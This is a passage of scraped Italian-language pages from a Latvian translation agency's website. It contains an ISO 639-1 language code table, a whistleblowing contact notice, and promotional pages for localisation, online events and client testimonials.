mondo. I codici sono assegnati dall'Infoterm. - Published: 2023-12-19 - Modified: 2024-02-23 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional I codici lingua ISO 639-1 rappresentano i nomi delle principali lingue del mondo. Questi sono codici identificativi univoci che sono stati sviluppati per rispondere alle esigenze della terminologia, della linguistica, della traduzione, della documentazione, come anche della lessicografia e dell’informazione. Essi sono assegnati dall'Infoterm (International Information Centre for Terminology), con sede in Austria, a Vienna. CODICE DEL PAESE (SECONDO LA NORMA ISO 639-1) NOME DELLA LINGUA IN ITALIANO PAESI E TERRITORI IN CUI VIENE UTILIZZATA LA LINGUA AA Afar Repubblica di Gibuti, Eritrea, Repubblica Federale Democratica d'Etiopia AB Abcaso Abcasia (Georgia) AE Avestico Repubblica Islamica dell'Iran AF Afrikaans Repubblica del Sudafrica, Repubblica di Namibia AK Akan Repubblica del Ghana, parte orientale della Costa d'Avorio AM Amarico Repubblica Federale Democratica di Etiopia AN Aragonese Aragona (Regno di Spagna) AR Arabo Repubblica Democratica Popolare di Algeria, Emirati Arabi Uniti, Regno del Bahrein, Repubblica dello Yemen, Regno Hascemita di Giordania, Qatar, Kuwait, Gran Giamahiria Araba Libica Popolare Socialista, Regno del Marocco, il Sultanato dell'Oman, Sahara Occidentale, Regno di Arabia Saudita, Repubblica del Sudan, Repubblica della Tunisia AS Assamese Assam (Repubblica dell'India) AV Avaro Parte nord-occidentale dell'Azerbaigian (Repubblica dell'Azerbaigian), Repubblica del Daghestan (Federazione Russa) AY Aymara La lingua tribale degli indiani Aymara - parte occidentale della Repubblica di Bolivia, parte settentrionale della Repubblica del Cile, parte meridionale della Repubblica del Perù AZ Azerbaigiano Repubblica dell'Azerbaigian, parte nord-occidentale della Repubblica islamica dell'Iran BA Baschiro Repubblica del Bashkortostan (Federazione Russa) BE Bielorusso Repubblica di Bielorussia BG Bulgaro Repubblica di Bulgaria BH Biharo Bihar (Repubblica dell'India) BI Bislamo Repubblica di Vanuatu BM Bambara Burkina Faso, Costa d'Avorio, Repubblica del Senegal BN Bengalese Assam e Bengala Occidentale (Repubblica dell'India), Repubblica Popolare del Bangladesh BO Tibetano Tibet (Repubblica Popolare Cinese) BR Bretone Bretagna (Repubblica di Francia) BS Bosniaco Repubblica di Bosnia-Erzegovina, Repubblica di Montenegro, Repubblica di Serbia. CA Catalano Principato di Andorra, Catalogna (Regno di Spagna) CE Ceceno Repubblica cecena (Federazione russa) CH Chamorro Il territorio degli Stati Uniti d'America di Guam, le Isole Marianne Settentrionali CO Corsico Corsica (Repubblica francese), Sardegna settentrionale (Repubblica italiana) CR Cree Lingua aborigena canadese CS Ceco Repubblica Ceca CU Slavo ecclesiastico antico La prima lingua slava letteraria (Bibbia e altri scritti antichi) CV Ciuvascio Repubblica Chuvashia e paesi limitrofi (Federazione Russa) CY Gallese Galles (Regno Unito di Gran Bretagna e Irlanda del Nord) DA Danese Regno di Danimarca DE Tedesco Repubblica d'Austria, Regno del Belgio, Principato del Liechtenstein, Granducato di Lussemburgo, Confederazione Svizzera, Repubblica Federale di Germania. DV Maldiviano Repubblica delle Maldive DZ Dzongkha Regno del Bhutan EE Ewe Repubblica del Benin, Repubblica del Ghana, Repubblica del Togo EL Greco Repubblica ellenica (Grecia), Repubblica di Cipro EN Inglese Stati Uniti d'America, Commonwealth dell'Australia, Repubblica del Sudafrica, Canada, Regno Unito di Gran Bretagna e Irlanda del Nord, ecc. EO Esperanto Una lingua di comunicazione internazionale artificiale ES Spagnolo Regno di Spagna, diversi paesi del Sud America ET Estone Repubblica di Estonia EU Basco Parte sud-occidentale della Repubblica di Francia, parte centrale del Regno di Spagna FA Persiano Stato islamico dell'Afghanistan, Repubblica islamica dell'Iran, Repubblica del Tajikistan. FF Fula Repubblica del Gambia, Repubblica di Guinea, Repubblica del Camerun, Repubblica del Senegal, Repubblica del Sudan. FI Finlandese Repubblica di Finlandia FJ Figiano Repubblica di Figi FO Faroense Isole Faroe (Regno di Danimarca) FR Francese Regno del Belgio, Repubblica di Francia, Canada, Granducato di Lussemburgo, diversi Paesi dell'Africa. FY Frisone occidentale Parte settentrionale del Regno dei Paesi Bassi GA Irlandese Irlanda, Regno Unito di Gran Bretagna e Irlanda del Nord GD Gaelico Scozia (Regno Unito di Gran Bretagna e Irlanda del Nord) GL Galiziano Galizia (Regno di Spagna), Repubblica portoghese GN Guaraní Repubblica del Paraguay GU Gujarati Gujarati e altri territori dell'Unione dell'India (Repubblica dell'India) GV Mannese Isola di Man (Regno Unito di Gran Bretagna e Irlanda del Nord) HA Hausa La Repubblica del Niger, parte settentrionale della Repubblica Federale di Nigeria HE Ebraico Israele HI Hindi Parti centrali e settentrionali della Repubblica dell'India HO Hiri Motu Stato indipendente di Papua Nuova Guinea HR Croato Repubblica di Bosnia ed Erzegovina, Repubblica di Croazia, Repubblica di Montenegro HT Haitiano Repubblica di Haiti HU Ungherese Repubblica di Ungheria HY Armeno Repubblica di Armenia HZ Herero Repubblica di Botswana, Repubblica di Namibia IA Interlingua Lingua ausiliaria internazionale sviluppata tra il 1937 e il 1951 dall'Associazione Internazionale delle Lingue Ausiliarie. IN Indonesiano Repubblica di Indonesia IE Interlingua Linguaggio artificiale creato da Edgar de Wahl nel 1922 IG Igbo Repubblica Federale di Nigeria II Sichuanese Sichuan (Repubblica Popolare Cinese) IK Inupiaq Parti settentrionali e nord-occidentali dell'Alaska (Stati Uniti d'America) IO Ido Linguaggio artificiale creato nel 1907 IS Islandese Repubblica d'Islanda IT Italiano Repubblica Italiana, Repubblica di San Marino, Confederazione Svizzera, Stato della Città del Vaticano. IU Inuktitut Canada settentrionale JA Giapponese Giappone JV Giavanese Isola di Giava (Repubblica di Indonesia) KA Georgiano Georgia KG Kongo Repubblica d'Angola, Repubblica Democratica del Congo, Repubblica del Congo. KI Kikuyu Repubblica del Kenya KJ Kwanyama Repubblica d'Angola, Repubblica di Namibia KK Kazaco Repubblica del Kazakistan, Repubblica del Kirghizistan, Federazione Russa, Ucraina, Repubblica dell'Uzbekistan. KL Groenlandese Groenlandia (Regno di Danimarca) KM Cambogiano Regno di Cambogia, Repubblica Socialista del Vietnam KN Kannada Karnataka (Repubblica dell'India) KO Coreano Repubblica di Corea, Repubblica Popolare Democratica di Corea KR Kanuri Repubblica del Ciad, Repubblica del Camerun, Repubblica del Niger, Repubblica Federale di Nigeria. KS Kashmiri Jammu e Kashmir (Repubblica dell'India), Repubblica islamica del Pakistan KU Curdo Parte settentrionale della Repubblica dell'Iraq, parte nord-occidentale della Repubblica islamica dell'Iran, parte sud-orientale della Repubblica di Turchia. KV Komi Repubblica di Komi (Federazione Russa) KW Cornico Cornovaglia (Regno Unito di Gran Bretagna e Irlanda del Nord) KY Kirghisa Repubblica del Kirghizistan LA Latino Stato della Città del Vaticano, lingua ufficiale della Chiesa cattolica romana. Il latino è attualmente utilizzato in biologia, medicina e altri campi come lingua terminologica scientifica riconosciuta a livello internazionale. LB Lussemburghese Granducato di Lussemburgo LG Luganda Uganda sudorientale (Repubblica d'Uganda) LI Limburghese Regno del Belgio, confini dell”Olanda (Regno dei Paesi Bassi), Repubblica Federale di Germania LN Lingala Repubblica Democratica del Congo, Repubblica del Congo LO Lao Repubblica Democratica Popolare del Laos, Regno di Thailandia LT Lituano Repubblica di Lituania LU Luba-Katanga Repubblica Democratica del Congo LV Lettone Repubblica di Lettonia MG Malgascio La Repubblica del Madagascar MH Marshallese Repubblica delle Isole Marshall, Repubblica di Nauru MI Māori Nuova Zelanda MK Macedone Repubblica di Macedonia ML Malayalam Kerala (Repubblica dell'India) MN Mongolo Mongolia MO Moldavo Repubblica di Moldova MR Marathi Maharashtra (Repubblica dell'India) MS Malese Timor Est, Brunei Darussalam, Repubblica di Indonesia, Federazione di Malesia, Repubblica di Singapore. MT Maltese Repubblica di Malta MY Birmano Repubblica dell'Unione del Myanmar NA Nauruano Repubblica di Nauru NB Norvegese Bokmål Una delle due forme scritte della lingua norvegese nel Regno di Norvegia. Si basa sul vocabolario e sulla grammatica danese e sulla fonetica norvegese. ND Ndebele del nord Repubblica dello Zimbabwe NE Nepalese Regno del Bhutan, Repubblica dell'India, Repubblica dell'Unione del Myanmar, Regno del Nepal. NG Ndongo Angola del Sud (Repubblica d'Angola), Repubblica di Namibia NL Olandese Regno del Belgio, Regno dei Paesi Bassi NN Norvegese Nynorsk Una delle due forme scritte della lingua norvegese nel Regno di Norvegia, sviluppata negli anni '50 del XIX secolo dal linguista Ivar Aasen attraverso la sintesi dei dialetti norvegesi. NO Norvegese Regno di Norvegia NR Ndebele del sud Repubblica del Sudafrica NV Navajo Lingua della tribù indiana Navajo (Stati Uniti d'America) NY Chewa Repubblica del Malawi, parte centrale e meridionale del continente africano OC Occitano Parte meridionale della Repubblica di Francia OJ Ojibwe Stati Uniti d'America, Canada OM Oromonico Repubblica Federale Democratica d'Etiopia, Repubblica del Kenya OR Odia Orissa (Repubblica dell'India) OS Osseto Georgia, Federazione Russa PA Punjabi Repubblica dell'India, Repubblica islamica del Pakistan PI Pāli Lingua letteraria e liturgica della Repubblica dell'India PL Polacco Repubblica di Polonia PS Pashto Stato islamico dell'Afghanistan, parte nord-occidentale della Repubblica islamica del Pakistan PT Portoghese Repubblica di Angola, Timor Est, Repubblica Federale del Brasile, Repubblica di Guinea Equatoriale, Repubblica del Mozambico, Repubblica del Portogallo, ecc. QU Quechua Repubblica di Argentina, Repubblica di Bolivia, Repubblica del Cile, Repubblica dell'Ecuador, Repubblica di Colombia, Repubblica del Perù. RM Romancio Confederazione Svizzera RN Kirundi Repubblica del Burundi, Repubblica Democratica del Congo, Repubblica Unita della Tanzania RO Rumeno Repubblica di Moldova, Romania RU Russo Federazione Russa RW Kinyarwanda Repubblica del Ruanda SA Sanscrito Una delle lingue liturgiche del buddismo e dell'induismo nella Repubblica dell'India. SC Sardo Sardegna (Repubblica Italiana) SD Sindhi Repubblica dell'India, Repubblica islamica del Pakistan SE Northern Sami Parte settentrionale del Regno di Norvegia, Repubblica di Carelia (Federazione Russa), Repubblica di Finlandia, Regno di Svezia. SG Sango Repubblica Centrafricana SI Singalese Repubblica Democratica Socialista dello Sri Lanka SK Slovacco Repubblica Slovacca SL Sloveno Repubblica di Slovenia SM Samoano Stato indipendente di Samoa SN Shona Parte meridionale della Repubblica di Zambia, Repubblica dello Zimbabwe SO Somalo Repubblica di Gibuti, Repubblica Federativa Democratica di Etiopia, Repubblica dello Yemen, Repubblica del Kenya, Repubblica Somala. SQ Albanese Repubblica di Albania, Repubblica del Kosovo SR Serbo Repubblica di Bosnia ed Erzegovina, Repubblica di Croazia, Repubblica di Montenegro, Repubblica di Serbia. SS Swati Repubblica del Sudafrica, Regno dello Swaziland ST Sotho del sud Repubblica del Sudafrica, Regno del Lesotho SU Sundanese Isola di Giava (Repubblica di Indonesia) SV Svedese Repubblica di Finlandia, Regno di Svezia SW Swahili Repubblica del Kenya, Repubblica Unita di Tanzania, Repubblica dell'Uganda. TA Tamil Repubblica dell'India, Repubblica di Singapore, Repubblica Democratica Socialista dello Sri Lanka. TE Telugu Repubblica dell'India TG Tagico Stato islamico dell'Afghanistan, Repubblica islamica dell'Iran, Repubblica del Tajikistan. TH Thailandese Regno di Cambogia, Federazione del Nord della Malesia, Unione di Myanmar, Regno di Lesotho, Regno di Thailandia. TI Tigrino Eritrea, Repubblica Federativa Democratica d'Etiopia TK Turkmeno Stato islamico dell'Afghanistan, Repubblica dell'Iraq, Repubblica islamica dell'Iran, Repubblica di Turchia, Turkmenistan. TL Tagalog Repubblica delle Filippine TN Tswano Repubblica del Botswana, Repubblica del Sudafrica TO Tongano Regno di Tonga TR Turco Repubblica di Cipro, Repubblica di Turchia TS Tsonga Repubblica del Sudafrica, Repubblica del Mozambico, Regno dello Swaziland, Repubblica dello Zimbabwe. TT Tartaro Repubblica del Kazakistan, Repubblica del Kirghizistan, Ucraina, Repubblica dell'Uzbekistan, Repubblica del Tatarstan (Federazione Russa). TW Twi La Repubblica del Ghana TY Tahitiano Polinesia francese UG Uiguro Repubblica del Kazakistan, Repubblica del Kirghizistan, Repubblica del Tagikistan, Turkmenistan, Repubblica dell'Uzbekistan. UK Ucraino Ucraina UR Urdu Repubblica dell'India, Repubblica islamica del Pakistan UZ Uzbeco Repubblica dell'Uzbekistan VE Venda Repubblica del Sudafrica, Repubblica dello Zimbabwe VI Vietnamita Repubblica Socialista del Vietnam VO Volapük Linguaggio artificiale sviluppato tra il 1879 e il 1880 da un sacerdote tedesco, Johann Martin Schleyer. WO Wolof Repubblica del Gambia, Repubblica islamica di Mauritania, Repubblica del Senegal XH Xhosa Repubblica del Sudafrica YI Yiddish Lingua ebraica parlata dalla diaspora ebraica in molte parti del mondo, ad esempio negli Stati Uniti d'America, nel Regno Unito di Gran Bretagna e Irlanda del Nord, nella Federazione Russa, nel Regno di Svezia, ecc. YO Yoruba Repubblica del Benin, Repubblica Federale di Nigeria, Repubblica del Togo. ZA Zhuang Repubblica Popolare Cinese ZH Chinese Repubblica Popolare Cinese ZU Zulu Repubblica del Sudafrica, Repubblica del Malawi, Repubblica del Mozambico, Regno dello Swaziland, Repubblica dello Zimbabwe. I NOSTRI SERVIZI LINGUISTICI PIÙ RICHIESTI DAI CLIENTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. HA BISOGNO DI UNA TRADUZIONE? CERCATE UNA SOLUZIONE LINGUISTICA O UNA CONSULENZA? Invia una richiesta GLI AMBITI DI TRADUZIONE PIÙ POPOLARI Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > La referente di Skrivanek Baltic SRL per le questioni riguardanti le segnalazioni di condotte illecite è Jeļena Lapoška, direttrice del dipartimento amministrativo. - Published: 2023-12-19 - Modified: 2024-01-18 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional La referente di Skrivanek Baltic SRL per le questioni riguardanti le segnalazioni di condotte illecite è Jeļena Lapoška, direttrice del dipartimento amministrativo. Telefono: +371 67240364 Indirizzo e-mail: trauksme@skrivanek. lv (canale privilegiato per presentare le segnalazioni di condotte illecite) In caso venga presentata una segnalazione, è garantita riservatezza. Verrà data risposta alla denuncia entro due settimane dalla sua ricezione, mentre l'avviso di ricezione sarà inviato entro 3 giorni lavorativi. Segnalazioni, email o chiamate anonime non sono considerate segnalazioni di condotte illecite. Se Skrivanek Baltic SRL considera che la questione segnalata non è di sua competenza, la segnalazione verrà inoltrata ad un’autorità competente. IL SEGNALATORE HA IL DIRITTO DI DENUNCIARE LE SEGUENTI VIOLAZIONI: corruzione e frode; violazione di norme etiche o professionali vincolanti; passività o negligenza da parte di funzionari, nonché abuso della loro posizione di ufficiali; violazione nel campo degli appalti pubblici; spreco di risorse finanziarie o di proprietà di un soggetto pubblico; minaccia per la salute pubblica; minaccia per la sicurezza ambientale; minaccia per la sicurezza del lavoro; violazione dei diritti umani; violazione dei diritti di concorrenza; e altri casi a cui si riferisce la legge in materia. COSA NON È CONSIDERATO SEGNALAZIONE DI CONDOTTE ILLECITE? Fornitura intenzionale di informazioni false, diffusione di informazioni contenenti segreti ufficiali e la denuncia di infrazioni di interessi personali. Nel caso in cui venga presentata una segnalazione senza aver indicato che si tratta di una segnalazione di condotta illecita, chi ha presentato la segnalazione può richiedere che essa venga riconosciuta come segnalazione di condotta illecita prima che essa venga analizzata. LE SEGNALAZIONI POSSONO ESSERE PRESENTATE IN UNA DELLE SEGUENTI MODALITÀ: sistema di segnalazione interno; segnalazione ad un'autorità competente; mediante l’intermediazione di un punto di contatto, di un’associazione o fondazione dedicate, compresi i sindacati e loro associazioni. La procedura interna di segnalazione di condotte illecite si basa sulla legge in materia, il cui scopo è quello di incentivare le segnalazioni di condotte illecite nell’interesse pubblico, nonché di garantire la messa in moto e il funzionamento dei meccanismi per presentare tali segnalazioni, come anche la protezione dei segnalatori. --- > Localizzate i vostri contenuti didattici o i vostri servizi didattici online in almeno alcune delle lingue più diffuse nel mondo o nella vostra regione! - Published: 2023-12-19 - Modified: 2024-05-08 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Internet offre molte opportunità che, se sfruttate, possono aiutarvi ad attirare clienti stranieri alla vostra attività. Se fornite servizi di e-learning, tra cui anche corsi online, dovreste localizzare tutti i contenuti o il sistema didattico nella lingua che preferite. Qualsiasi tipo di apprendimento, tra cui anche quello che avviene online, dovrebbe fornire agli studenti contenuti altamente qualitativi che gli permettono di acquisire nuove conoscenze. In rete è possibile sviluppare molte abilità e conoscenze, e la cosa migliore è poterlo fare nella propria lingua madre. Ed è qui che entra in gioco Skrivanek Baltic. Vantiamo 25 anni di esperienza nella traduzione, localizzazione e adattamento di contenuti di diversa natura in base al mercato di riferimento. Affidandovi a noi, potrete rivolgervi ai vostri potenziali clienti nella loro lingua madre, acquisendo quindi popolarità anche al di fuori del mercato locale. Data la crescente popolarità dell’e-learning e di corsi online di diverse tipologie, i fornitori di tali servizi devono considerare che per attirare gli studenti di una particolare regione, è necessario poter rivolgersi a loro in maniera diretta, immediata e personale. Perciò la cosa migliore sarebbe poter offrire corsi nella lingua degli utenti che si vogliono raggiungere. Allo stesso modo, ci sono settori in cui una piattaforma di apprendimento che opera in una delle principali lingue del mondo, come inglese, spagnolo, tedesco, francese - sarebbe molto utile. Localizzando contenuti e servizi, la vostra piattaforma di e-learning, compresi i suoi materiali didattici e i materiali aggiuntivi che avete sviluppato, verrà adattata ai bisogni dei parlanti di una lingua specifica. Per ottenere risultati di alta qualità, garantiamo che il contenuto non verrà solamente tradotto, ma anche adattato al mercato di riferimento. Localizzazione e adattamento sono processi creativi che richiedono una profonda conoscenza dell’area specifica. Gli specialisti di Skrivanek hanno una profonda conoscenza non soltanto del vostro settore, ma anche del contesto culturale da cui provengono gli utenti che parlano una lingua specifica. I nostri specialisti vi aiuteranno anche a valutare quanto i contenuti che avete preparato possano essere adatti al pubblico che volete raggiungere e vi informeranno nel caso in cui sia necessaria una preparazione più specifica. Volete sapere in quanto tempo possiamo localizzare la vostra piattaforma o contenuti di e-learning in modo da adattarli al mercato che avete scelto? Contattate i nostri project manager! DOMANDE FREQUENTI Forniamo una grande varietà di servizi linguistici: servizi di traduzione e interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di DTP e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Nonostante la maggior parte dei nostri clienti siano persone legali, aiuteremo con piacere anche i privati. Di soliti, essi ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. No, sono i project manager che accettano e supervisionano gli ordini; essi fanno anche da tramite tra il cliente finale e il traduttore. I traduttori e gli interpreti di Skrivanek Baltic possono fornire servizi in oltre 110 lingue. CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > PERCHÉ È NECESSARIA LA LOCALIZZAZIONE DI CONTENUTI PER IL MARKETING DIGITALE? Ricerca di parole chiave per l'ottimizzazione SEO. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-02-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere con i clienti relazioni più strette. La strategia di marketing che rende il vostro prodotto unico potrebbe andare persa nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. PERCHÉ È NECESSARIA LA LOCALIZZAZIONE DI CONTENUTI PER IL MARKETING DIGITALE? Perché è necessario localizzare i contenuti? Perché la traduzione non è sufficiente? Ogni nazione e cultura ha le proprie tradizioni e, inevitabilmente, anche uno slang che, se ignorato, può creare situazioni imbarazzanti. Un esempio è ciò che è successo alla Mitsubishi in Sud America. Di fatti, Pajero, il nome del loro popolarissimo SUV, nelle nazioni di lingua spagnola è un sostantivo usato per individui pigri e distratti. Perciò è stato necessario cambiare il nome del SUV in Montero. Se la grande azienda automobilistica avesse impiegato uno specialista cosciente delle sfumature della cultura e della lingua e con le capacità di riprodurle adeguatamente, avrebbe evitato tale malinteso. I linguisti specializzati di Skrivanek si occupano della localizzazione di ogni testo, tenendo conto delle caratteristiche della lingua e cultura di arrivo, ma anche dell’adattamento di post di social network. Questo implica quindi una consulenza nella scelta delle immagini più appropriate, da pubblicare ad esempio su Facebook ed Instagram, sulla base delle specifiche caratteristiche culturali. Che si tratti di descrizioni prodotti, di post su social network o di materiale promozionale, avrete la garanzia che saranno percepiti come se fossero stati prodotti nella nazione di arrivo. COSA LOCALIZZIAMO: I nostri specialisti non si occupano solo della traduzione e localizzazione del vostro sito web, ma anche di adattare le necessarie parole chiave per l’ottimizzazione per i motori di ricerca (search engine optimization (SEO)), così da aumentare la visibilità del vostro sito web su Google. Inoltre, forniamo anche servizi di personalizzazione delle parole chiave per gli annunci google. Ci occupiamo anche di adattare i vostri negozi online in modo da andare incontro ai bisogni di acquirenti stranieri, espandendo quindi il vostro portafoglio clienti, e di verificare che i nomi e le descrizioni dei vostri prodotti siano appropriati per il mercato di vostro interesse. Inoltre, prepariamo anche file audio e video in conformità con le caratteristiche del mercato specifico, preparando il testo di partenza di sia registrazioni che sottotitoli. In più, sapremo anche darvi consigli sui riferimenti culturali da utilizzare, come ad esempio nomi di luoghi e di persona. Non ci fermiamo alla mera localizzazione dei contenuti per i social network ma, se necessario, creiamo i contenuti da zero, così da attrarre i migliori influencer locali. Non importa che si tratti di Twitter, Facebook, Linkedin, Instagram o di altri social network, voi date voce al vostro prodotto e noi lo localizziamo. In più, scriviamo anche post per blog sugli argomenti di vostro interesse, così da promuovere il vostro prodotto e permettergli di integrarsi alla perfezione nel mercato della nazione di riferimento. Ci occupiamo anche dello sviluppo di hashtag sulla base delle tendenze del momento, rendendo il vostro prodotto un prodotto locale invece di abbandonarlo nel mercato di una nazione straniera. DOMANDE FREQUENTI Possiamo tradurre qualsiasi cosa in virtualmente qualsiasi formato elettronico, mantenendo sempre la formattazione del documento originale. Nel caso dei servizi di localizzazione, ci atteniamo alle istruzioni specifiche fornite dal cliente o alle impostazioni dettate dal software. Non vediamo l’ora! Skrivanek ha grande esperienza e conoscenza della traduzione e localizzazione di diversi siti web e di sistemi di gestione dei contenuti. Garantiamo sempre un approccio professionale e troviamo la soluzione più adatta alla vostra situazione specifica, così da garantire i migliori risultati per ogni combinazione linguistica. Sì e spesso creiamo anche squadre di linguisti specializzati appositamente per i partner con cui collaboriamo. Questo significa che i servizi sono forniti sempre dagli stessi traduttori e interpreti. Siamo contenti di ricevere i vostri feedback e impieghiamo con piacere gli stessi linguisti specializzati. Anche i nostri clienti abituali si rivolgono sempre agli stessi project manager. AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia la richiesta AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  DA OLTRE 25 ANNI SUL MERCATO! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Avete intenzione di organizzare una conferenza virtuale in cui i partecipanti parlano lingue straniere diverse? I nostri professionisti vi aiuteranno! - Published: 2023-12-19 - Modified: 2024-05-08 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ - Translation Priorities: Optional Il mondo cambia e noi con lui. Da tempo ormai le riunioni, i seminari e le conferenze dal vivo si sono trasferite nell’ambiente virtuale; Anche cerimonie di premiazione ed eventi aziendali hanno avuto lo stesso destino! Per garantire il successo di un evento online, è necessario affidarsi ad un professionista. Skrivanek Baltic ha esperienza nell’organizzazione di eventi di varia natura e si sta specializzando anche nell’organizzazione di eventi online nella piattaforma Zoom. Se vi affiderete a noi, potete stare certi che il vostro evento si svolgerà senza intoppi; sarà come se stesse avvenendo in presenza. Inoltre, una cosa molto importante è che la nostra esperienza ci permette di operare con sicurezza in un contesto internazionale e multilingue. Avete intenzione di organizzare una conferenza virtuale in cui i partecipanti parlano lingue straniere diverse? Avete in programma diversi incontri aziendali a cui devono partecipare sia i vostri dipendenti che i rappresentanti dei vostri partner commerciali? Terrete una riunione su Zoom con un ospite importante che parla solo la propria lingua madre ma che deve essere capito da tutti i vostri dipendenti? Oppure volete solamente sollevare il morale del vostro fantastico team organizzando una divertente serata online a cui tutti i dipendenti potranno partecipare dal confort della propria abitazione? Se la risposta è sì allora potete affidarvi ai nostri professionisti, i quali vi assisteranno e organizzeranno l’evento necessario per qualsiasi occasione. Moderare un evento può essere complesso, e lo è ancora di più in un ambiente virtuale, in cui il contatto visivo e la reazione del pubblico sono assenti. Offriamo servizi di moderazione di eventi o, nel caso preferisca farlo tu stesso, istruzioni per tenere un evento online. L’aspetto tecnico? Non dovete preoccuparvi, ce ne occuperemo noi: organizzeremo il luogo di incontro online e, se necessario, divideremo i partecipanti in più gruppi. Forniamo servizi di interpretazione simultanea e consecutiva su Zoom. Volete registrare l’evento? Nessun problema. Riceverete i file audio e video dell’evento di cui avete bisogno, come anche un link che vi permetterà di vedere ed ascoltare l’evento online. Audio e video sono forniti in un formato già editato che non presenta modifiche dal punto di vista del contenuto, ma saranno rimosse le pause superflue all’inizio e alla fine della registrazione. Nel caso in cui per l’evento sia stato fornito un servizio di interpretazione simultanea, è possibile scegliere la lingua della traccia audio del video. In qualità di professionisti del settore linguistico, forniamo servizi di traduzione e interpretazione in più di 110 lingue; renderemo la comunicazione più facile che mai! Se necessario, possiamo anche fornire un’analisi sull’attività dei partecipanti, che mostra per quanto tempo sono stati connessi, e la trascrizione della chat dell’evento. E se c’è qualcuno che è preoccupato delle proprie prestazioni sullo schermo, aggiungeremo l’opzione Zoom Live per migliorare la risoluzione video del partecipante. DOMANDE FREQUENTI L’agenzia di traduzione certificata Skrivanek Baltic opera e fornisce servizi linguistici in Lettonia dal 2003. Skrivanek è uno dei principali fornitori di servizi linguistici al mondo e vanta più di 25 anni di esperienza. Attualmente abbiamo quasi 50 filiali in vari paesi: Stati Uniti, Austria, Belgio, Bulgaria, Repubblica Ceca, Estonia, Lituania, Polonia, Slovacchia, Slovenia e Germania. La Scuola di lingue Skrivanek Baltic è stata inaugurata nel 2007 e offre ad adulti e bambini la possibilità di imparare una nuova lingua grazie all’aiuto di insegnanti esperti e altamente qualificati. La scuola fornisce anche informazioni dettagliate sulle lingue. Forniamo una grande varietà di servizi linguistici: servizi di traduzione e interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Sono entrambi linguisti specializzati ma, mentre i traduttori forniscono traduzioni 